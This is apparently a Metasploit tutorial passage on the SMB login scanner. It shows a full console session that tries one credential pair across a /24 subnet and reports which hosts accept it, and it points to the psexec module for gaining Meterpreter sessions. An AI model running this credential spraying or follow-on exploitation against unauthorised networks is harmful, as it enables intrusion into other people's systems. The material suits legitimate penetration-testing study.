Vulnerability Scanning with Metasploit
A common situation to find yourself in is being in possession of a valid username and password combination, and wondering where else you can use it. This is where the SMB Login Check Scanner can be very useful, as it will connect to a range of hosts and determine if the username/password combination can access the target.
Keep in mind, this is very “loud” as it will show up as a failed login attempt in the event logs of every Windows box it touches. Be thoughtful on the network you are taking this action on. Any successful results can be plugged into the windows/smb/psexec exploit module (exactly like the standalone tool) which can be utilized to create Meterpreter Sessions.
msf > use auxiliary/scanner/smb/smb_login msf auxiliary(smb_login) > show options Module options (auxiliary/scanner/smb/smb_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASS_FILE no File containing passwords, one per line PRESERVE_DOMAINS true no Respect a username that contains a domain name. RHOSTS yes The target address range or CIDR identifier RPORT 445 yes Set the SMB service port SMBDomain WORKGROUP no SMB Domain SMBPass no SMB Password SMBUser no SMB Username STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(smb_login) > set SMBUser victim SMBUser => victim msf auxiliary(smb_login) > set SMBPass s3cr3t SMBPass => s3cr3t msf auxiliary(smb_login) > set THREADS 50 THREADS => 50 msf auxiliary(smb_login) > run [*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix) [*] Auxiliary module execution completed msf auxiliary(smb_login) >